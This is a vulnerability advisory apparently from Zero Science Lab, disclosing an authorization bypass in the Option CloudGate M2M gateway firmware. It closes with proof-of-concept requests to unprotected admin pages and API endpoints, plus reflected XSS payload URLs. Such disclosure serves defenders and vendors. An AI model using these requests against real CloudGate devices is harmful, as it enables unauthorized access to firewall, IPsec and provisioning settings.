Option CloudGate Insecure Direct Object Reference Auth Bypass

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Option CloudGate Insecure Direct Object References Authorization Bypass  
  
  
Vendor: Option NV  
Product web page: http://www.option.com  
Affected version: CG0192-11897  
  
Summary: The CloudGate M2M gateway from Option provides competitively  
priced LAN to WWAN routing and GPS functionality in a single basic unit  
certified on all major us cellular operators (CDMA/EV-DO and WCDMA/HSPA+).  
The CloudGate is simple to configure locally or remotely from your PC,  
tablet or Smartphone.  
  
Desc: Insecure Direct Object References occur when an application provides  
direct access to objects based on user-supplied input. As a result of this  
vulnerability attackers can bypass authorization and access resources and  
functionalities in the system directly, for example APIs, files, upload  
utilities, device settings, etc.  
  
Tested on: lighttpd 1.4.39  
firmware 2.62.4  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2016-5333  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5333.php  
  
  
11.06.2016  
  
--  
  
  
GET /partials/firewall.html  
GET /partials/system.html  
GET /partials/ipsec.html  
GET /partials/provisioning.html  
GET /api/login  
GET /api/replacementui  
GET /api/goatgates  
  
OR  
  
/#/firewall  
/#/system  
/#/ipsec  
/#/provisioning  
  
  
XSS:  
  
http://127.0.0.2/api/replacementui<script>alert(1)</script>  
http://127.0.0.2/api/goatgates<script>alert(2)</script>  
http://127.0.0.2/api/Blah-Blah<script>alert(3)</script>  
http://127.0.0.2/api/<script>alert(4)</script>  
`